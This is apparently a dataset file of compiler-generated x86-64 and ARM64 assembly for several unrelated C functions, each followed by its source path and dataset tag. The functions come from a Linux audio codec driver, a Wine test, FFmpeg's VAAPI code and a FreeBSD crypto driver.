.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function pcm512x_dai_startup_master _pcm512x_dai_startup_master: ## @pcm512x_dai_startup_master .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %rbx movq %rdi, %r14 movq 8(%rsi), %rdi callq _snd_soc_component_get_drvdata movq %rax, %r13 movq (%rbx), %r12 movl (%rax), %edi callq _IS_ERR testq %rax, %rax je LBB0_1 ## %bb.8: movl (%r13), %edi callq _PTR_ERR leaq L_.str(%rip), %rsi movq %r12, %rdi movl %eax, %edx callq _dev_err movl (%r13), %edi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _PTR_ERR ## TAILCALL LBB0_1: cmpq $0, 8(%r13) je LBB0_4 ## %bb.2: movl (%r14), %edi movq _SNDRV_PCM_HW_PARAM_RATE@GOTPCREL(%rip), %rax movl (%rax), %edx movq _pcm512x_hw_rule_rate@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _SNDRV_PCM_HW_PARAM_FRAME_BITS@GOTPCREL(%rip), %rax movl (%rax), %r9d movq _SNDRV_PCM_HW_PARAM_CHANNELS@GOTPCREL(%rip), %rax movl (%rax), %eax xorl %esi, %esi movq %r13, %r8 pushq $-1 pushq %rax callq _snd_pcm_hw_rule_add addq $24, %rsp jmp LBB0_3 LBB0_4: movq _GFP_KERNEL@GOTPCREL(%rip), %rbx movl (%rbx), %edx movq %r12, %rdi movl $16, %esi callq _devm_kzalloc testq %rax, %rax je LBB0_5 ## %bb.6: movq %rax, %r15 movl $1, (%rax) movl (%rbx), %edx movq %r12, %rdi movl $16, %esi callq _devm_kzalloc testq %rax, %rax je LBB0_5 ## %bb.7: movq %rax, %r12 movq %rax, 8(%r15) movl (%r13), %edi callq _clk_get_rate ## kill: def $eax killed $eax def $rax leal 63(%rax), %ecx testl %eax, %eax cmovnsl %eax, %ecx sarl $6, %ecx movl %ecx, (%r12) movabsq $549755813889, %rax ## imm = 0x8000000001 movq %rax, 4(%r12) movl $1, 12(%r12) movl (%r14), %edi movq _SNDRV_PCM_HW_PARAM_RATE@GOTPCREL(%rip), %rax movl (%rax), %edx xorl %esi, %esi movq %r15, %rcx addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _snd_pcm_hw_constraint_ratnums ## TAILCALL LBB0_5: movq _ENOMEM@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax addq $8, %rsp LBB0_3: popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Need SCLK for master mode: %ld\n" .comm _SNDRV_PCM_HW_PARAM_RATE,4,2 ## @SNDRV_PCM_HW_PARAM_RATE .comm _pcm512x_hw_rule_rate,4,2 ## @pcm512x_hw_rule_rate .comm _SNDRV_PCM_HW_PARAM_FRAME_BITS,4,2 ## @SNDRV_PCM_HW_PARAM_FRAME_BITS .comm _SNDRV_PCM_HW_PARAM_CHANNELS,4,2 ## @SNDRV_PCM_HW_PARAM_CHANNELS .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .no_dead_strip _pcm512x_dai_startup_master .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function pcm512x_dai_startup_master lCPI0_0: .long 1 ; 0x1 .long 128 ; 0x80 .section __TEXT,__text,regular,pure_instructions .p2align 2 _pcm512x_dai_startup_master: ; @pcm512x_dai_startup_master .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x21, x1 mov x20, x0 ldr x0, [x1, #8] bl _snd_soc_component_get_drvdata mov x19, x0 ldr x21, [x21] ldr w0, [x0] bl _IS_ERR cbz x0, LBB0_2 ; %bb.1: ldr w0, [x19] bl _PTR_ERR mov x2, x0 Lloh0: adrp x1, l_.str@PAGE Lloh1: add x1, x1, l_.str@PAGEOFF mov x0, x21 bl _dev_err ldr w0, [x19] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _PTR_ERR LBB0_2: ldr x8, [x19, #8] cbz x8, LBB0_4 ; %bb.3: ldr w0, [x20] Lloh2: adrp x8, _SNDRV_PCM_HW_PARAM_RATE@GOTPAGE Lloh3: ldr x8, [x8, _SNDRV_PCM_HW_PARAM_RATE@GOTPAGEOFF] Lloh4: ldr w2, [x8] Lloh5: adrp x8, _pcm512x_hw_rule_rate@GOTPAGE Lloh6: ldr x8, [x8, _pcm512x_hw_rule_rate@GOTPAGEOFF] Lloh7: ldr w3, [x8] Lloh8: adrp x8, _SNDRV_PCM_HW_PARAM_FRAME_BITS@GOTPAGE Lloh9: ldr x8, [x8, _SNDRV_PCM_HW_PARAM_FRAME_BITS@GOTPAGEOFF] Lloh10: ldr w5, [x8] Lloh11: adrp x8, _SNDRV_PCM_HW_PARAM_CHANNELS@GOTPAGE Lloh12: ldr x8, [x8, _SNDRV_PCM_HW_PARAM_CHANNELS@GOTPAGEOFF] Lloh13: ldr w6, [x8] mov w1, #0 mov x4, x19 mov w7, #-1 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _snd_pcm_hw_rule_add LBB0_4: Lloh14: adrp x24, _GFP_KERNEL@GOTPAGE Lloh15: ldr x24, [x24, _GFP_KERNEL@GOTPAGEOFF] ldr w2, [x24] mov x0, x21 mov w1, #16 bl _devm_kzalloc cbz x0, LBB0_7 ; %bb.5: mov x22, x0 mov w23, #1 str w23, [x0] ldr w2, [x24] mov x0, x21 mov w1, #16 bl _devm_kzalloc cbz x0, LBB0_7 ; %bb.6: mov x21, x0 str x0, [x22, #8] ldr w0, [x19] bl _clk_get_rate add w8, w0, #63 cmp w0, #0 csel w8, w8, w0, lt asr w8, w8, #6 str w8, [x21] Lloh16: adrp x8, lCPI0_0@PAGE Lloh17: ldr d0, [x8, lCPI0_0@PAGEOFF] stur d0, [x21, #4] str w23, [x21, #12] Lloh18: adrp x8, _SNDRV_PCM_HW_PARAM_RATE@GOTPAGE Lloh19: ldr x8, [x8, _SNDRV_PCM_HW_PARAM_RATE@GOTPAGEOFF] ldr w0, [x20] Lloh20: ldr w2, [x8] mov w1, #0 mov x3, x22 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _snd_pcm_hw_constraint_ratnums LBB0_7: Lloh21: adrp x8, _ENOMEM@GOTPAGE Lloh22: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh23: ldr w8, [x8] neg w0, w8 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpAdrp Lloh16, Lloh18 .loh AdrpLdr Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Need SCLK for master mode: %ld\n" .comm _SNDRV_PCM_HW_PARAM_RATE,4,2 ; @SNDRV_PCM_HW_PARAM_RATE .comm _pcm512x_hw_rule_rate,4,2 ; @pcm512x_hw_rule_rate .comm _SNDRV_PCM_HW_PARAM_FRAME_BITS,4,2 ; @SNDRV_PCM_HW_PARAM_FRAME_BITS .comm _SNDRV_PCM_HW_PARAM_CHANNELS,4,2 ; @SNDRV_PCM_HW_PARAM_CHANNELS .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .no_dead_strip _pcm512x_dai_startup_master .subsections_via_symbols

AnghaBench/linux/sound/soc/codecs/extr_pcm512x.c_pcm512x_dai_startup_master.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function test_StrFormatByteSize64A _test_StrFormatByteSize64A: ## @test_StrFormatByteSize64A .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $272, %rsp ## imm = 0x110 .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -40(%rbp) movq _StrFormatSize_results@GOTPCREL(%rip), %rax movq (%rax), %r12 movq 8(%r12), %rdi testq %rdi, %rdi je LBB0_3 ## %bb.1: leaq -304(%rbp), %rbx leaq L_.str(%rip), %r14 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq %rbx, %rsi movl $256, %edx ## imm = 0x100 callq _pStrFormatByteSize64A movl (%r12), %edi movq %rbx, %rsi callq _strcmp xorl %r15d, %r15d testl %eax, %eax sete %r15b movq 8(%r12), %rdi callq _wine_dbgstr_longlong movl (%r12), %r8d movl %r15d, %edi movq %r14, %rsi movl %eax, %edx movq %rbx, %rcx callq _ok movq 24(%r12), %rdi addq $16, %r12 testq %rdi, %rdi jne LBB0_2 LBB0_3: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -40(%rbp), %rax jne LBB0_5 ## %bb.4: addq $272, %rsp ## imm = 0x110 popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_5: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _StrFormatSize_results,8,3 ## @StrFormatSize_results .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Formatted %s wrong: got %s, expected %s\n" .no_dead_strip _test_StrFormatByteSize64A .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function test_StrFormatByteSize64A _test_StrFormatByteSize64A: ; @test_StrFormatByteSize64A .cfi_startproc ; %bb.0: sub sp, sp, #320 stp x22, x21, [sp, #272] ; 16-byte Folded Spill stp x20, x19, [sp, #288] ; 16-byte Folded Spill stp x29, x30, [sp, #304] ; 16-byte Folded Spill add x29, sp, #304 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-40] Lloh3: adrp x8, _StrFormatSize_results@GOTPAGE Lloh4: ldr x8, [x8, _StrFormatSize_results@GOTPAGEOFF] Lloh5: ldr x21, [x8] ldr x0, [x21, #8] cbz x0, LBB0_3 ; %bb.1: Lloh6: adrp x19, l_.str@PAGE Lloh7: add x19, x19, l_.str@PAGEOFF LBB0_2: ; =>This Inner Loop Header: Depth=1 add x1, sp, #8 mov w2, #256 ; =0x100 bl _pStrFormatByteSize64A ldr w0, [x21] add x1, sp, #8 bl _strcmp cmp w0, #0 cset w20, eq ldr x0, [x21, #8] bl _wine_dbgstr_longlong mov x2, x0 ldr w4, [x21] add x3, sp, #8 mov x0, x20 mov x1, x19 bl _ok ldr x0, [x21, #24] add x21, x21, #16 cbnz x0, LBB0_2 LBB0_3: ldur x8, [x29, #-40] Lloh8: adrp x9, ___stack_chk_guard@GOTPAGE Lloh9: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh10: ldr x9, [x9] cmp x9, x8 b.ne LBB0_5 ; %bb.4: ldp x29, x30, [sp, #304] ; 16-byte Folded Reload ldp x20, x19, [sp, #288] ; 16-byte Folded Reload ldp x22, x21, [sp, #272] ; 16-byte Folded Reload add sp, sp, #320 ret LBB0_5: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .cfi_endproc ; -- End function .comm _StrFormatSize_results,8,3 ; @StrFormatSize_results .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Formatted %s wrong: got %s, expected %s\n" .no_dead_strip _test_StrFormatByteSize64A .subsections_via_symbols

assembly_file_116152.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function vaapi_pix_fmt_from_fourcc _vaapi_pix_fmt_from_fourcc: ## @vaapi_pix_fmt_from_fourcc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _vaapi_format_from_fourcc testq %rax, %rax jne LBB0_2 ## %bb.1: movq _AV_PIX_FMT_NONE@GOTPCREL(%rip), %rax LBB0_2: movl (%rax), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _AV_PIX_FMT_NONE,4,2 ## @AV_PIX_FMT_NONE .no_dead_strip _vaapi_pix_fmt_from_fourcc .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function vaapi_pix_fmt_from_fourcc _vaapi_pix_fmt_from_fourcc: ; @vaapi_pix_fmt_from_fourcc .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _vaapi_format_from_fourcc Lloh0: adrp x8, _AV_PIX_FMT_NONE@GOTPAGE Lloh1: ldr x8, [x8, _AV_PIX_FMT_NONE@GOTPAGEOFF] cmp x0, #0 csel x8, x8, x0, eq ldr w0, [x8] ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _AV_PIX_FMT_NONE,4,2 ; @AV_PIX_FMT_NONE .no_dead_strip _vaapi_pix_fmt_from_fourcc .subsections_via_symbols

AnghaBench/FFmpeg/libavutil/extr_hwcontext_vaapi.c_vaapi_pix_fmt_from_fourcc.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function hifn_alloc_slot _hifn_alloc_slot: ## @hifn_alloc_slot .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r8, -56(%rbp) ## 8-byte Spill movq %rcx, -48(%rbp) ## 8-byte Spill movq %rdx, %r12 movq %rsi, %r13 movq %rdi, %rbx movq (%rdi), %rax movq 64(%rdi), %r14 movq _HIFN_D_CMD_RSIZE@GOTPCREL(%rip), %r15 cmpq (%r15), %rax jne LBB0_2 ## %bb.1: movq $0, (%rbx) movq _HIFN_D_VALID@GOTPCREL(%rip), %rax movq _HIFN_D_JUMP@GOTPCREL(%rip), %rcx movl (%rcx), %edi orl (%rax), %edi movq _HIFN_D_MASKDONEIRQ@GOTPCREL(%rip), %rax orl (%rax), %edi callq _htole32 movq 24(%r14), %rcx movq (%r15), %rsi movq %rax, (%rcx,%rsi,8) movq _BUS_DMASYNC_PREWRITE@GOTPCREL(%rip), %rax movq _BUS_DMASYNC_PREREAD@GOTPCREL(%rip), %rcx movl (%rcx), %edx orl (%rax), %edx movq %rbx, %rdi callq _HIFN_CMDR_SYNC movq (%rbx), %rax LBB0_2: leaq 1(%rax), %rcx movq %rcx, (%rbx) movl %eax, (%r13) movq %rcx, 8(%rbx) movq 16(%rbx), %rax movq _HIFN_D_SRC_RSIZE@GOTPCREL(%rip), %r15 cmpq (%r15), %rax jne LBB0_4 ## %bb.3: movq $0, 16(%rbx) movq _HIFN_D_VALID@GOTPCREL(%rip), %rax movq _HIFN_D_JUMP@GOTPCREL(%rip), %rcx movl (%rcx), %edi orl (%rax), %edi movq _HIFN_D_MASKDONEIRQ@GOTPCREL(%rip), %rax orl (%rax), %edi callq _htole32 movq 16(%r14), %rcx movq (%r15), %rsi movq %rax, (%rcx,%rsi,8) movq _BUS_DMASYNC_PREWRITE@GOTPCREL(%rip), %rax movq _BUS_DMASYNC_PREREAD@GOTPCREL(%rip), %rcx movl (%rcx), %edx orl (%rax), %edx movq %rbx, %rdi callq _HIFN_SRCR_SYNC movq 16(%rbx), %rax LBB0_4: leaq 1(%rax), %rcx movq %rcx, 16(%rbx) movl %eax, (%r12) movq %rcx, 24(%rbx) movq 32(%rbx), %rax movq _HIFN_D_DST_RSIZE@GOTPCREL(%rip), %r15 cmpq (%r15), %rax jne LBB0_6 ## %bb.5: movq $0, 32(%rbx) movq _HIFN_D_VALID@GOTPCREL(%rip), %rax movq _HIFN_D_JUMP@GOTPCREL(%rip), %rcx movl (%rcx), %edi orl (%rax), %edi movq _HIFN_D_MASKDONEIRQ@GOTPCREL(%rip), %rax orl (%rax), %edi callq _htole32 movq 8(%r14), %rcx movq (%r15), %rsi movq %rax, (%rcx,%rsi,8) movq _BUS_DMASYNC_PREWRITE@GOTPCREL(%rip), %rax movq _BUS_DMASYNC_PREREAD@GOTPCREL(%rip), %rcx movl (%rcx), %edx orl (%rax), %edx movq %rbx, %rdi callq _HIFN_DSTR_SYNC movq 32(%rbx), %rax LBB0_6: leaq 1(%rax), %rcx movq %rcx, 32(%rbx) movq -48(%rbp), %rdx ## 8-byte Reload movl %eax, (%rdx) movq %rcx, 40(%rbx) movq 48(%rbx), %rax movq _HIFN_D_RES_RSIZE@GOTPCREL(%rip), %r15 cmpq (%r15), %rax jne LBB0_8 ## %bb.7: movq $0, 48(%rbx) movq _HIFN_D_VALID@GOTPCREL(%rip), %rax movq _HIFN_D_JUMP@GOTPCREL(%rip), %rcx movl (%rcx), %edi orl (%rax), %edi movq _HIFN_D_MASKDONEIRQ@GOTPCREL(%rip), %rax orl (%rax), %edi callq _htole32 movq (%r14), %rcx movq (%r15), %rsi movq %rax, (%rcx,%rsi,8) movq _BUS_DMASYNC_PREWRITE@GOTPCREL(%rip), %rax movq _BUS_DMASYNC_PREREAD@GOTPCREL(%rip), %rcx movl (%rcx), %edx orl (%rax), %edx movq %rbx, %rdi callq _HIFN_RESR_SYNC movq 48(%rbx), %rax LBB0_8: leaq 1(%rax), %rcx movq %rcx, 48(%rbx) movq -56(%rbp), %rdx ## 8-byte Reload movl %eax, (%rdx) movq %rcx, 56(%rbx) addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _HIFN_D_CMD_RSIZE,8,3 ## @HIFN_D_CMD_RSIZE .comm _HIFN_D_VALID,4,2 ## @HIFN_D_VALID .comm _HIFN_D_JUMP,4,2 ## @HIFN_D_JUMP .comm _HIFN_D_MASKDONEIRQ,4,2 ## @HIFN_D_MASKDONEIRQ .comm _BUS_DMASYNC_PREWRITE,4,2 ## @BUS_DMASYNC_PREWRITE .comm _BUS_DMASYNC_PREREAD,4,2 ## @BUS_DMASYNC_PREREAD .comm _HIFN_D_SRC_RSIZE,8,3 ## @HIFN_D_SRC_RSIZE .comm _HIFN_D_DST_RSIZE,8,3 ## @HIFN_D_DST_RSIZE .comm _HIFN_D_RES_RSIZE,8,3 ## @HIFN_D_RES_RSIZE .no_dead_strip _hifn_alloc_slot .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function hifn_alloc_slot _hifn_alloc_slot: ; @hifn_alloc_slot .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x4 mov x21, x3 mov x22, x2 mov x23, x1 mov x20, x0 ldr x24, [x0, #64] ldr x8, [x0] Lloh0: adrp x26, _HIFN_D_CMD_RSIZE@GOTPAGE Lloh1: ldr x26, [x26, _HIFN_D_CMD_RSIZE@GOTPAGEOFF] Lloh2: adrp x28, _HIFN_D_VALID@GOTPAGE Lloh3: ldr x28, [x28, _HIFN_D_VALID@GOTPAGEOFF] Lloh4: adrp x25, _HIFN_D_JUMP@GOTPAGE Lloh5: ldr x25, [x25, _HIFN_D_JUMP@GOTPAGEOFF] Lloh6: adrp x27, _HIFN_D_MASKDONEIRQ@GOTPAGE Lloh7: ldr x27, [x27, _HIFN_D_MASKDONEIRQ@GOTPAGEOFF] ldr x9, [x26] cmp x8, x9 b.ne LBB0_2 ; %bb.1: str xzr, [x20] ldr w8, [x28] ldr w9, [x25] orr w8, w9, w8 ldr w9, [x27] orr w0, w8, w9 bl _htole32 ldr x8, [x24, #24] ldr x1, [x26] str x0, [x8, x1, lsl #3] Lloh8: adrp x8, _BUS_DMASYNC_PREWRITE@GOTPAGE Lloh9: ldr x8, [x8, _BUS_DMASYNC_PREWRITE@GOTPAGEOFF] Lloh10: ldr w8, [x8] Lloh11: adrp x9, _BUS_DMASYNC_PREREAD@GOTPAGE Lloh12: ldr x9, [x9, _BUS_DMASYNC_PREREAD@GOTPAGEOFF] Lloh13: ldr w9, [x9] orr w2, w9, w8 mov x0, x20 bl _HIFN_CMDR_SYNC ldr x8, [x20] LBB0_2: add x9, x8, #1 str w8, [x23] stp x9, x9, [x20] ldr x8, [x20, #16] Lloh14: adrp x23, _HIFN_D_SRC_RSIZE@GOTPAGE Lloh15: ldr x23, [x23, _HIFN_D_SRC_RSIZE@GOTPAGEOFF] ldr x9, [x23] cmp x8, x9 b.ne LBB0_4 ; %bb.3: str xzr, [x20, #16] ldr w8, [x28] ldr w9, [x25] orr w8, w9, w8 ldr w9, [x27] orr w0, w8, w9 bl _htole32 ldr x8, [x24, #16] ldr x1, [x23] str x0, [x8, x1, lsl #3] Lloh16: adrp x8, _BUS_DMASYNC_PREWRITE@GOTPAGE Lloh17: ldr x8, [x8, _BUS_DMASYNC_PREWRITE@GOTPAGEOFF] Lloh18: ldr w8, [x8] Lloh19: adrp x9, _BUS_DMASYNC_PREREAD@GOTPAGE Lloh20: ldr x9, [x9, _BUS_DMASYNC_PREREAD@GOTPAGEOFF] Lloh21: ldr w9, [x9] orr w2, w9, w8 mov x0, x20 bl _HIFN_SRCR_SYNC ldr x8, [x20, #16] LBB0_4: add x9, x8, #1 str w8, [x22] stp x9, x9, [x20, #16] ldr x8, [x20, #32] Lloh22: adrp x22, _HIFN_D_DST_RSIZE@GOTPAGE Lloh23: ldr x22, [x22, _HIFN_D_DST_RSIZE@GOTPAGEOFF] ldr x9, [x22] cmp x8, x9 b.ne LBB0_6 ; %bb.5: str xzr, [x20, #32] ldr w8, [x28] ldr w9, [x25] orr w8, w9, w8 ldr w9, [x27] orr w0, w8, w9 bl _htole32 ldr x8, [x24, #8] ldr x1, [x22] str x0, [x8, x1, lsl #3] Lloh24: adrp x8, _BUS_DMASYNC_PREWRITE@GOTPAGE Lloh25: ldr x8, [x8, _BUS_DMASYNC_PREWRITE@GOTPAGEOFF] Lloh26: ldr w8, [x8] Lloh27: adrp x9, _BUS_DMASYNC_PREREAD@GOTPAGE Lloh28: ldr x9, [x9, _BUS_DMASYNC_PREREAD@GOTPAGEOFF] Lloh29: ldr w9, [x9] orr w2, w9, w8 mov x0, x20 bl _HIFN_DSTR_SYNC ldr x8, [x20, #32] LBB0_6: add x9, x8, #1 str w8, [x21] stp x9, x9, [x20, #32] ldr x8, [x20, #48] Lloh30: adrp x21, _HIFN_D_RES_RSIZE@GOTPAGE Lloh31: ldr x21, [x21, _HIFN_D_RES_RSIZE@GOTPAGEOFF] ldr x9, [x21] cmp x8, x9 b.ne LBB0_8 ; %bb.7: str xzr, [x20, #48] ldr w8, [x28] ldr w9, [x25] orr w8, w9, w8 ldr w9, [x27] orr w0, w8, w9 bl _htole32 ldr x8, [x24] ldr x1, [x21] str x0, [x8, x1, lsl #3] Lloh32: adrp x8, _BUS_DMASYNC_PREWRITE@GOTPAGE Lloh33: ldr x8, [x8, _BUS_DMASYNC_PREWRITE@GOTPAGEOFF] Lloh34: ldr w8, [x8] Lloh35: adrp x9, _BUS_DMASYNC_PREREAD@GOTPAGE Lloh36: ldr x9, [x9, _BUS_DMASYNC_PREREAD@GOTPAGEOFF] Lloh37: ldr w9, [x9] orr w2, w9, w8 mov x0, x20 bl _HIFN_RESR_SYNC ldr x8, [x20, #48] LBB0_8: add x9, x8, #1 str w8, [x19] stp x9, x9, [x20, #48] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpLdrGot Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29 .loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26 .loh AdrpLdrGot Lloh30, Lloh31 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34 .cfi_endproc ; -- End function .comm _HIFN_D_CMD_RSIZE,8,3 ; @HIFN_D_CMD_RSIZE .comm _HIFN_D_VALID,4,2 ; @HIFN_D_VALID .comm _HIFN_D_JUMP,4,2 ; @HIFN_D_JUMP .comm _HIFN_D_MASKDONEIRQ,4,2 ; @HIFN_D_MASKDONEIRQ .comm _BUS_DMASYNC_PREWRITE,4,2 ; @BUS_DMASYNC_PREWRITE .comm _BUS_DMASYNC_PREREAD,4,2 ; @BUS_DMASYNC_PREREAD .comm _HIFN_D_SRC_RSIZE,8,3 ; @HIFN_D_SRC_RSIZE .comm _HIFN_D_DST_RSIZE,8,3 ; @HIFN_D_DST_RSIZE .comm _HIFN_D_RES_RSIZE,8,3 ; @HIFN_D_RES_RSIZE .no_dead_strip _hifn_alloc_slot .subsections_via_symbols

AnghaBench/freebsd/sys/dev/hifn/extr_hifn7751.c_hifn_alloc_slot.c

anghabench

